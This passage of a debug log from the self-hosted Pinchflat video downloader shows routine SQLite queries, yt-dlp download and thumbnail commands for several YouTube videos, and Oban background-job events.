m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [64, 65] 22:05:35.620 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [64, 65] 22:05:35.620 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [65] 22:05:35.620 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [65] 22:05:35.620 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:05:35.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:35.620 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:35.620 [debug] Running yt-dlp command for action: get_downloadable_status 22:05:35.621 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:35.621 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:35.621 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:35.621 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZpREYArDzQY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/66/ae/66ae1126bb31cb1222e2d08dd87de2a8c728806bd300648325a4a6b468f0122f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:05:37.852 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZpREYArDzQY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/66/ae/66ae1126bb31cb1222e2d08dd87de2a8c728806bd300648325a4a6b468f0122f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:05:37.852 [debug] Running yt-dlp command for action: download 22:05:37.852 [debug] QUERY OK source="settings" db=0.1ms idle=789.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:37.852 [debug] QUERY OK source="settings" db=0.0ms idle=789.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:37.852 [debug] QUERY OK source="settings" db=0.1ms idle=789.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:05:37.852 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZpREYArDzQY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7c/37/7c37c59eeaa6b1318e4a224e3ad2497b12011c5b1fd167955b5879356b516571.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:05:58.828 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.643 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:28.830 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:39.239 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HwAPLk_sQ3w --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/07/7e/077e67894690eecf3d283eae6a1d61099550acb44a788df829cbc7577f64338d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:39.251 [debug] Running yt-dlp command for action: download_thumbnail 22:06:39.251 [debug] QUERY OK source="settings" db=0.0ms idle=1189.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:39.251 [debug] QUERY OK source="settings" db=0.0ms idle=1189.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:39.252 [debug] QUERY OK source="settings" db=0.0ms idle=1189.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:39.252 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HwAPLk_sQ3w --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/64/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/0f/ba/0fba5e7dec5a2bd04f5f50b02075269713a18042d1f5136cf9e7943fb31607f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:42.339 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=HwAPLk_sQ3w --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/64/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/0f/ba/0fba5e7dec5a2bd04f5f50b02075269713a18042d1f5136cf9e7943fb31607f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:42.339 [debug] QUERY OK db=0.0ms idle=1277.3ms begin [] 22:06:42.340 [debug] QUERY OK source="media_items" db=0.2ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:06:39Z], "/downloads/TADC/2023-10-13 THE AMAZING DIGITAL CIRCUS: PILOT/THE AMAZING DIGITAL CIRCUS: PILOT [HwAPLk_sQ3w].mp4", [["en", "/downloads/TADC/2023-10-13 THE AMAZING DIGITAL CIRCUS: PILOT/THE AMAZING DIGITAL CIRCUS: PILOT [HwAPLk_sQ3w].en.vtt"]], ~U[2026-03-28 02:06:42Z], 64] 22:06:42.340 [debug] QUERY OK source="media_metadata" db=0.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/64/metadata.json.gz", "/config/metadata/media_items/64/thumbnail.jpg", 64, ~U[2026-03-28 02:06:42Z], ~U[2026-03-28 02:06:42Z]] 22:06:42.340 [debug] QUERY OK db=0.0ms commit [] 22:06:42.341 [debug] QUERY OK source="media_items" db=0.2ms idle=1278.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [367683329, ~U[2026-03-28 02:06:42Z], 64] 22:06:42.341 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:06:42.341 [info] {"args":{"id":64},"id":69,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":105001657,"event":"job:stop","queue_time":4583339387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:06:42.341 [debug] QUERY OK source="tasks" db=0.2ms idle=1038.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:06:42.341 [debug] QUERY OK source="tasks" db=0.3ms idle=37.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:06:42.342 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [65] 22:06:42.342 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [65] 22:06:42.347 [info] {"args":{"id":66},"id":71,"meta":{},"system_time":1774663602347776921,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:06:42.348 [debug] QUERY OK source="media_items" db=0.3ms idle=6.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [66] 22:06:42.348 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:06:42.348 [debug] QUERY OK source="tasks" db=0.4ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:06:42.348 [debug] QUERY OK source="tasks" db=0.4ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:06:42.348 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:06:42.348 [debug] QUERY OK source="media_items" db=0.3ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [65, 66] 22:06:42.348 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:42.349 [debug] QUERY OK source="media_items" db=0.3ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [65, 66] 22:06:42.349 [debug] QUERY OK source="media_items" db=0.0ms queue=0.1ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [66] 22:06:42.349 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [66] 22:06:42.349 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:06:42.349 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.349 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.349 [debug] Running yt-dlp command for action: get_downloadable_status 22:06:42.349 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.350 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.350 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:42.350 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ofJpOEXrZs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bd/76/bd766634cb2a8aef8c0987d2e0211306ccb9ca56c7362c80348d75b77831cdb4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:45.338 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ofJpOEXrZs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bd/76/bd766634cb2a8aef8c0987d2e0211306ccb9ca56c7362c80348d75b77831cdb4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:06:45.338 [debug] Running yt-dlp command for action: download 22:06:45.338 [debug] QUERY OK source="settings" db=0.0ms idle=1275.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:45.338 [debug] QUERY OK source="settings" db=0.0ms idle=1275.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:45.338 [debug] QUERY OK source="settings" db=0.0ms idle=1276.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:45.338 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ofJpOEXrZs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/dd/84/dd84b5316c39bb9334f0d94b213f899257638e10177cfbba5a0fc666d2527f56.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:06:58.831 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.644 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:25.024 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZpREYArDzQY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7c/37/7c37c59eeaa6b1318e4a224e3ad2497b12011c5b1fd167955b5879356b516571.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:07:25.034 [debug] Running yt-dlp command for action: download_thumbnail 22:07:25.034 [debug] QUERY OK source="settings" db=0.0ms idle=1658.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:25.034 [debug] QUERY OK source="settings" db=0.0ms idle=972.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:25.034 [debug] QUERY OK source="settings" db=0.0ms idle=972.2ms SELECT s0."id", s0."onboarding", 